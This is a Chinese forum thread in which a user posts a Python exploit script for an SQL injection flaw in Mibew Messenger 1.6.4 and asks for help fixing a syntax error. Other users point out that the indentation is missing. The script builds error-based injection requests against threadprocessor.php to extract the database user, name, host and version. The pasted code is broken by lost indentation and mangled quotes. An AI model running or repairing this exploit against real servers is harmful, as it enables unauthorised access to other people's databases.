免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3622 | 回复: 5
打印 上一主题 下一主题

一个python脚本语法求助 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2014-01-23 22:54 |只看该作者 |倒序浏览
我有一个python脚本,是个注入检查的脚本,运行时候会报错,麻烦高手帮我 检查一下语法问题 可以吗?第43行
  1. #!/usr/bin/python
  2. #Author: Ucha Gobejishvili
  3. #Timeline: 2012-08-05 Bug Discovered
  4. #              2012-08-05 Public Disclosured
  5. #Vendor: Mibew Web Messenger (http://mibew.org/ )
  6. #Version: Mibew Messenger 1.6.4
  7. #Demo: http://demo.mibew.org
  8. #Introduction:
  9. #Mibew Messenger (also known as Open Web Messenger) is an open-#source live
  10. #support application written in PHP and MySQL. It #enables one-on-one chat
  11. #assistance in real-time directly from #your website.

  12. #Abstract:

  13. #Discovered SQL injection Vulnerabilities on the Mibew Messenger #v.1.6.4.
  14. #A SQL Injection vulnerability is detected on the Mibew #Messenger v.1.6.4
  15. #The vulnerabilities allows an remote attacker #to execute own sql commands
  16. #on the affected applicationdbms. #Successful exploitation can result in
  17. #dbms, web-server or #application compromise.
  18. # python Mibew.py -p localhost:8080 -t localhost:8500 -d /Patch/

  19. import sys, httplib, urllib2, urllib, re
  20. from optparse import OptionParser

  21. usage = "./%prog [<options>] -t [target] -d [directory]"
  22. usage += "\nExample: ./%prog -p localhost:8080 -t localhost:8500 -d /coldcal/"

  23. parser = OptionParser(usage=usage)
  24. parser.add_option("-p", type="string",action="store", dest="proxy",
  25.                   help="HTTP Proxy <server:port>")
  26. parser.add_option("-t", type="string", action="store", dest="target",
  27.                   help="The Target server <server:port>")
  28. parser.add_option("-d", type="string", action="store", dest="directory",
  29.                   help="Directory path to the CMS")
  30. (options, args) = parser.parse_args()

  31. def banner():
  32.     print "\n\t|----------------------------------------------------------- |"
  33.     print "\t|  Mibew Web Messenger SQL Injection Vulnerability|"
  34.     print "\t| |\n"

  35. if len(sys.argv) < 5:
  36. banner()
  37. parser.print_help()
  38. sys.exit(1)

  39. def getProxy():
  40. try:
  41. pr = httplib.HTTPConnection(options.proxy)
  42. pr.connect()
  43. proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
  44. except(socket.timeout):
  45. print "\n(-) Proxy Timed Out"
  46. sys.exit(1)
  47. except(),msg:
  48. print "\n(-) Proxy Failed"
  49. sys.exit(1)
  50. return proxy_handler

  51. def setTargetHTTP():
  52. if options.target[0:7] != 'http://':
  53. options.target = "http://" + options.target
  54. return options.target
  55. def getRequest(exploit):
  56. if options.proxy:
  57. try:
  58. proxyfier = urllib2.build_opener(getProxy())
  59. check = proxyfier.open(options.target+options.directory+exploit).read()
  60. except urllib2.HTTPError, error:
  61. check = error.read()
  62. except socket.error:
  63. print "(-) Proxy connection failed"
  64. sys.exit(1)
  65. else:
  66. try:
  67. req = urllib2.Request(options.target+options.directory+exploit)
  68. check = urllib2.urlopen(req).read()
  69. except urllib2.HTTPError, error:
  70. check = error.read()
  71. except urllib2.URLError:
  72. print "(-) Target connection failed, check your address"
  73. sys.exit(1)
  74. return check

  75. basicInfo = {'user: ':'user_name()', 'name: ':'db_name()', 'hostname:
  76. ':'host_name()','version: \n\n\t':'@@version'}

  77. def basicSploit(info):
  78. return "/operator/threadprocessor.php?threadid=1+and+1=convert(int," + info + ")--"

  79. if __name__ == "__main__":
  80. banner()
  81. options.target = setTargetHTTP()
  82. print "(+) Exploiting target @: %s" % (options.target+options.directory)
  83. if options.proxy:
  84. print "\n(+) Testing Proxy..."
  85. print "(+) Proxy @ %s" % (options.proxy)
  86. print "(+) Building Handler.."

  87. for key in basicInfo:
  88. getResp = getRequest(basicSploit(basicInfo[key]))
  89. if re.findall("the nvarchar value '", getResp):
  90. dbInfo = getResp.split('the nvarchar value '')[1].split('' to data type
  91. int')[0]
  92. print "\n(!) Found database %s%s" % (key, dbInfo.rstrip())
复制代码

论坛徽章:
0
2 [报告]
发表于 2014-01-23 22:57 |只看该作者
突然发现我的帐号注册10年了。。。。。

论坛徽章:
11
技术图书徽章
日期:2014-03-01 14:44:34天蝎座
日期:2014-05-21 22:11:59金牛座
日期:2014-05-30 17:06:14
3 [报告]
发表于 2014-01-23 23:34 |只看该作者
英雄,注册10年了还没学会贴代码?

论坛徽章:
1
2015年辞旧岁徽章
日期:2015-03-03 16:54:15
4 [报告]
发表于 2014-01-24 09:19 |只看该作者
好汉,是不是没有缩进

论坛徽章:
33
荣誉会员
日期:2011-11-23 16:44:17天秤座
日期:2014-08-26 16:18:20天秤座
日期:2014-08-29 10:12:18丑牛
日期:2014-08-29 16:06:45丑牛
日期:2014-09-03 10:28:58射手座
日期:2014-09-03 16:01:17寅虎
日期:2014-09-11 14:24:21天蝎座
日期:2014-09-17 08:33:55IT运维版块每日发帖之星
日期:2016-04-17 06:23:27操作系统版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-24 06:20:0015-16赛季CBA联赛之天津
日期:2016-05-06 12:46:59
5 [报告]
发表于 2014-01-24 10:37 |只看该作者
TasteOracle 发表于 2014-01-24 09:19
好汉,是不是没有缩进



论坛徽章:
0
6 [报告]
发表于 2014-01-24 10:44 |只看该作者
应该是没缩进,但是我语法不熟悉,谁能帮我缩一缩?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP